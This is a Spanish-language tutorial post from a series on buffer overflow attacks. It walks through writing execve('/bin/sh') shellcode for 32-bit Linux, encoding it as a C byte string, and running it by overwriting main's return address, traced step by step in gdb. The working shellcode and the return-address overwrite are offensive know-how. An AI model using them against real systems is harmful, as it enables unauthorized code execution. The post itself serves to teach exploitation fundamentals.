[FADB] 8. Ejecución de una cadena de caracteres mediante código

FUNDAMENTOS DE LOS ATAQUES POR DESBORDAMIENTO DE BUFFER

Ahora necesitamos escribir un código en ensamblador que nos permita hacer la llamada execve( ). Dado que el objetivo de nuestro código es que funcione como inyectado en otros programas, no podemos hacer un CALL a execve( ) como en la anterior sección, puesto que no sabemos de antemano en qué dirección puede estar localizada, ni siquiera si está incluída en el programa. Por lo tanto tenemos que llamar directamente a la interrupción 0x80 (que es independiente del programa en que será inyectada ya que está incluída en el mismo kernel de Linux).

Como ya vimos en la anterior sección cómo pasamos los parámetros para la llamada execve( ) por medio de la interrupción 0x80, vamos a intentar escribir un código en ensamblador que haga precisamente eso. ¿Pero cómo sabemos las direcciones de la cadena de caracteres, del array de punteros y del puntero de entorno? Pues tan fácil como meterlos en la pila con una instrucción PUSH y acto seguido tendremos la dirección en el registro ESP. Veamos pues el código:

XOR EAX,EAX
PUSH EAX
PUSH 0x0068732F
PUSH 0x6E69622F
MOV ESP,EBX
PUSH EAX
PUSH EBX
MOV ESP,ECX
XOR EDX,EDX
MOV 0x0B,AL
INT 0x80

XOR EAX,EAX simplemente hace EAX = 0. Luego PUSH EAX mete el 0 en la pila. Ya tenemos un NULL al fondo de la pila.

PUSH 0x0068732F y PUSH 0x6E69622F meten la cadena de caracteres “/bin/sh\0”. En este momento ESP contiene la dirección de la cadena de caracteres que es nuestro comando a ejecutar por execve( ). Así que lo guardamos en EBX con MOV ESP,EBX.

Ahora necesitamos el array de punteros a los argumentos. Con PUSH EAX metemos el puntero NULL y con PUSH EBX el puntero a “/bin/sh\0”. Ya tenemos el array de punteros en memoria. Como antes, ESP contiene ahora la dirección del array, que guardamos en ECX con MOV ESP,ECX.

En el registro EDX va el puntero al entorno, que como es nulo en nuestro caso, usamos XOR EDX,EDX para que nos deje un 0.

Finalmente cargamos el código de la función en EAX con MOV 0x0B,AL, ya que sabemos que el resto del registro está a cero.

Vamos a escribir este mismo código con la sintaxis del ensamblador as (el que usa gcc) y lo guardamos como execve.s:

xor %eax,%eax
push %eax
push $0x0068732F
push $0x6E69622F
mov %esp,%ebx
push %eax
push %ebx
mov %esp,%ecx
xor %edx,%edx
mov $0x0B,%al
int $0x80

Luego lo ensamblamos con as:

[bash]$ as execve.s -o execve

Ya que vamos a representar este código como una cadena de caracteres, tendremos que ver cómo queda codificado con objdump:

[bash]$ objdump -d execve

execve: file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 73 68 00 push $0x68732f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 50 push %eax
10: 53 push %ebx
11: 89 e1 mov %esp,%ecx
13: 31 d2 xor %edx,%edx
15: b0 0b mov $0xb,%al
17: cd 80 int $0x80

Ahora que ya sabemos cómo está codificado nuestro código, vamos a probarlo haciendo una sobreescritura de la dirección de retorno por código en C (prueba4.c):

void main()
{

char *code= // 26 bytes
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x2f\x73\x68\x00" // pushl $0x68732f
"\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f
"\x89\xe3" // movl %esp,%ebx
"\x50" // pushl %eax
"\x53" // pushl %ebx
"\x89\xe1" // movl %esp,%ecx
"\x31\xd2" // xor %edx,%edx
"\xb0\x0b" // movb $0x0b,%al
"\xcd\x80" // int $0x80
;
int *ret;

ret = (int *)&ret + 3;
*ret = code;
}

Un detalle a tener muy en cuenta: nuestro código está representado como una cadena de caracteres en C. Ya sabemos que estas cadenas marcan su final con un caracter NULL (código ASCII 0). Así que lo mejor es evitar cualquier byte nulo resultante de la traducción de una instrucción y sustituirla por otra/s instrucción/es equivalente/s. En nuestro código aparece un byte nulo, así que vamos a tener cuidado de no usar ninguna función de manejo de cadenas de caracteres para manipularlo.

El código es muy parecido al que vimos en la sección sobre “Sobreescritura de la dirección de retorno mediante código”. Simplemente tenemos un puntero (que se encuentra en la pila) al que movemos tres posiciones más adelante para que coincida con la dirección de retorno. Después sobreescribimos dicha dirección con la dirección de nuestro código que está en forma de cadena de caracteres.

Ahora lo compilamos con gcc -g como prueba4 y ejecutamos:

[bash]$ ./prueba4
sh-2.05b$

Excelente... Veámoslo paso a paso con gdb:

[bash]$ gdb -q prueba4
(gdb) disas main
Dump of assembler code for function main:
0x804830c
: push %ebp
0x804830d : mov %esp,%ebp
0x804830f : sub $0x8,%esp
0x8048312 : and $0xfffffff0,%esp
0x8048315 : mov $0x0,%eax
0x804831a : sub %eax,%esp
0x804831c : movl $0x8048388,0xfffffffc(%ebp)
0x8048323 : lea 0xfffffff8(%ebp),%eax
0x8048326 : add $0xc,%eax
0x8048329 : mov %eax,0xfffffff8(%ebp)
0x804832c : mov 0xfffffff8(%ebp),%edx
0x804832f : mov 0xfffffffc(%ebp),%eax
0x8048332 : mov %eax,(%edx)
0x8048334 : leave
0x8048335 : ret
End of assembler dump.
(gdb)

Este código debería sernos ya lo suficientemente comprensible. Las dos primeras instrucciones (PUSH EBP y MOV ESP,EBP) son para poder acceder a los parámetros y variables locales con EBP. SUB 0x8,ESP reserva el espacio para los dos punteros que son las variables locales. Las tres siguientes (AND 0xFFFFFFF0,ESP, MOV 0x0,EAX y SUB EAX,ESP) ya hemos comentado su nula incidencia en el desarrollo del programa. MOVL 0x8048388,0xFFFFFFC(EBP) carga el puntero a nuestra cadena de caracteres en EBP – 4, es decir, en la variable code.

(gdb) x 0x8048388
0x8048388 <_io_stdin_used+4>: 0x6850c031
(gdb) x 0x8048388+4
0x804838c <_io_stdin_used+8>: 0x0068732f
(gdb) x 0x8048388+8
0x8048390 <_io_stdin_used+12>: 0x69622f68
(gdb)

Vemos que efectivamente nuestra cadena de caracteres maliciosa se encuentra en la dirección 0x8048388. Tengamos en cuenta que estos comandos de gdb nos muestran la zona de memoria 0x8048388 tal que así:

0x8048388 0x31
0x8048389 0xc0
0x804838A 0x50
0x804838B 0x68
0x804838C 0x2F
0x804838D 0x73
0x804838E 0x68
0x804838F 0x00
0x8048390 0x68
0x8048391 0x2F
0x8048392 0x62
0x8048393 0x69
0x8048394 etc...

gdb los agrupa en palabras de 32 bits en formato low-endian.

LEA 0xFFFFFFF8(EBP),EAX, carga la dirección EBP – 8, es decir, la dirección del puntero ret, en EAX. ADD 0xC,EAX suma 12 a EAX, o lo que es lo mismo, 3x4 bytes (el tipo de datos int ocupa 4 bytes). MOV EAX,0xFFFFFFF8(EBP) pone el valor de EAX en EBP – 8, el puntero ret. Estas tres instrucciones implementan la sentencia ret = (int *)&ret + 3 en C.

(gdb) b *0x8048323
Breakpoint 1 at 0x8048323: file prueba4.c, line 20.
(gdb) r
Starting program: /home/m0s/Programacion/C%2fC++/prueba4

Breakpoint 1, main () at prueba4.c:20
20 ret = (int *)&ret + 3;
(gdb) i r ebp
ebp 0xbffff808 0xbffff808

(gdb) ni [LEA 0xFFFFFFF8(EBP),EAX]
0x08048326 20 ret = (int *)&ret + 3;
(gdb) i r eax
eax 0xbffff800 -1073743872

(gdb) ni [ADD 0xC,EAX]
0x08048326 20 ret = (int *)&ret + 3;

(gdb) ni [MOV EAX,0xFFFFFFF8(EBP)]
21 *ret = code;
(gdb) x 0xbffff808-8
0xbffff800: 0xbffff80c
(gdb) x 0xbffff80c
0xbffff80c: 0x40036082
(gdb) x 0x40036082
0x40036082 <__libc_start_main+162>: 0xe8240489
(gdb) disas __libc_start_main
Dump of assembler code for function __libc_start_main:
[...]
0x4003607f <__libc_start_main+159>: call *0x8(%ebp)
0x40036082 <__libc_start_main+162>: mov %eax,(%esp,1)
0x40036085 <__libc_start_main+165>: call 0x40035ab0 <_dl_pagesize+147372>
0x4003608a <__libc_start_main+170>: lea 0xffff5eac(%ebx),%edx
0x40036090 <__libc_start_main+176>: mov %edx,(%esp,1)
[...]
End of assembler dump.
(gdb)

Podemos comprobar que el puntero ret apunta ahora a la dirección de retorno de main( ) (<__libc_start_main+162>)

La sentencia *ret = code la tenemos implementada como MOV 0xFFFFFFF8(EBP),EDX, MOV 0xFFFFFFFC(EBP),EAX y MOV EAX,(EDX). Es decir, cargamos ret en EDX y code en EAX, y movemos EAX a la dirección apuntada por EDX. Sobreescribimos la dirección de retorno por la apuntada por code, es decir, por la dirección de nuestra cadena de caracteres ejecutable (0x8048388).

(gdb) ni [MOV 0xFFFFFFF8(EBP),EDX]
0x0804832f 21 *ret = code;

(gdb) ni [MOV 0xFFFFFFFC(EBP),EAX]
0x08048332 21 *ret = code;

(gdb) ni [MOV EAX,(EDX)]
22 }
(gdb) i r esp
esp 0xbffff80c 0xbffff80c
(gdb) x 0xbffff80c
0xbffff80c: 0x08048388

Observemos cómo la dirección apuntada por ESP antes de las instrucciones LEAVE y RET es la de nuestra cadena de caracteres maliciosa code.

(gdb) c [Continue]
Continuing.

Program received signal SIGTRAP, Trace/breakpoint trap.
0x400012e0 in _start () at dynamic-link.h:37
37 dynamic-link.h: No such file or directory.
in dynamic-link.h
(gdb)

Finalmente nuestro programa recibe una señal SIGTRAP, que en este caso nos indica que nuestro programa será sustituído por /bin/sh.

Comments

Popular Posts